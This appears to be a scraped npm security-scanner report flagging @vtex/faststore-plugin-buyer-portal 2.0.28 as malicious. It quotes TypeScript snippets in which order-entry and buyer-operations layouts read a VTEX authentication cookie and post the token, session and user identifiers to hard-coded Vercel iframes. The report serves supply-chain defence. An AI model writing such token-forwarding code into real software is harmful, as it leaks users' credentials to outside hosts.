@vtex/faststore-plugin-buyer-portal@2.0.28: Malicious npm | LPM Firewall

Loading npm security reports…

@vtex/faststore-plugin-buyer-portal@2.0.28: Malicious npm | LPM Firewall

Source & flagged code

5 flagged · loading source

src/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsxView file

•Credential-bearing message sent to a fixed external iframe in src/features/b2b-[redacted].tsx: : "https://buyer-bulk-ops-agent.vercel.app/app/buyer-bulk-ops-agent"; const targetWindow = iframeRef.current?.contentWindow; targetWindow.postMessage( if (event.source !== iframeRef.current?.contentWindow) return; if (iframeRef.current?.contentWindow && vtexIdclientAutCookie) { <iframe

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

src/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsxView on unpkg

6const B2B_AGENT_URL = isDevelopment() ? "http://localhost:3001/app/buyer-bulk-ops-agent" : "https://buyer-bulk-ops-agent.vercel.app/app/buyer-bulk-ops-agent";

High

Ai Review Evidence

A second buyer-operations page sends the same authentication token and account/user data to another hard-coded Vercel agent.

src/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsxView on unpkg · L6

src/pages/order-entry.tsxView file

90const cookieHeader = props.clientContext?.cookie ?? ""; const tokenFromContext = props.clientContext?.vtexIdclientAutCookie ?? ""; const { token: tokenFromCookie, accountFromCookie, segment, session, } = getAuthCookieInfo(cookieHeader); // Prefer a token-like value if available; otherwise extract from cookie header. const vtexIdclientAutCookie = tokenFromContext && !tokenFromContext.includes("=") ? tokenFromContext : tokenFromCookie;

High

Ai Review Evidence

The order-entry page extracts a VTEX authentication token from client cookie data.

src/pages/order-entry.tsxView on unpkg · L90

src/features/order-entry/layouts/OrderEntryLayout.tsxView file

10const B2B_AGENT_URL = isDevelopment() ? "http://localhost:3001/app/order-entry-agent" : "https://order-entry-agent.vercel.app/app/order-entry-agent";

High

Ai Review Evidence

On rendering, the package embeds a hard-coded external Vercel agent and posts the token, session, segment, account, locale, and user identifiers to it.

src/features/order-entry/layouts/OrderEntryLayout.tsxView on unpkg · L10

63// We send only the token (not the full Cookie header) to reduce exposure. targetWindow.postMessage( { type: "AUTH_TOKEN_UPDATE", vtexIdclientAutCookie, vtexIdclientAutCookie_client, segment, session, account, locale, customerId, userId, quoteId, }, agentOrigin

High

Ai Review Evidence

On rendering, the package embeds a hard-coded external Vercel agent and posts the token, session, segment, account, locale, and user identifiers to it.

src/features/order-entry/layouts/OrderEntryLayout.tsxView on unpkg · L63

Source & flagged code

5 flagged

src/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsxView file

Lines 1-26typescript

1import { useEffect, useMemo, useRef } from "react";

2

3import { useLocalization } from "../../../shared/localization/LocalizationContext";

4import { isDevelopment } from "../../../shared/utils/environment";

5

6const B2B_AGENT_URL = isDevelopment()

7 ? "http://localhost:3001/app/buyer-bulk-ops-agent"

8 : "https://buyer-bulk-ops-agent.vercel.app/app/buyer-bulk-ops-agent";

High

Ai Review Evidence

A second buyer-operations page sends the same authentication token and account/user data to another hard-coded Vercel agent.

src/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsxView on unpkg · L6

9

10interface B2BAgentLayoutProps {

11 vtexIdclientAutCookie: string;

12 account: string;

13 locale?: string;

14 customerId?: string;

15 userId?: string;

16}

17

18const containerStyle: React.CSSProperties = {

19 display: "flex",

20 flexDirection: "column",

21 width: "100%",

22 height: "100vh",

23 overflow: "hidden",

24};

25

26const iframeStyle: React.CSSProperties = {

•Credential-bearing message sent to a fixed external iframe in src/features/b2b-[redacted].tsx: : "https://buyer-bulk-ops-agent.vercel.app/app/buyer-bulk-ops-agent"; const targetWindow = iframeRef.current?.contentWindow; targetWindow.postMessage( if (event.source !== iframeRef.current?.contentWindow) return; if (iframeRef.current?.contentWindow && vtexIdclientAutCookie) { <iframe

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

src/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsxView on unpkg

src/pages/order-entry.tsxView file

Lines 70-110typescript

70 async () => {

71 const localizationLabels = await getLocalizationLabelsService({

72 entryIds: LOCALIZATION_ENTRY_IDS.orderEntry,

73 locale: data.locale,

74 });

src/features/order-entry/layouts/OrderEntryLayout.tsxView file

Lines 1-30typescript

1import { useEffect, useMemo, useRef } from "react";

2

3import storeConfig from "discovery.config";

4

5import { useRouter } from "next/router";

6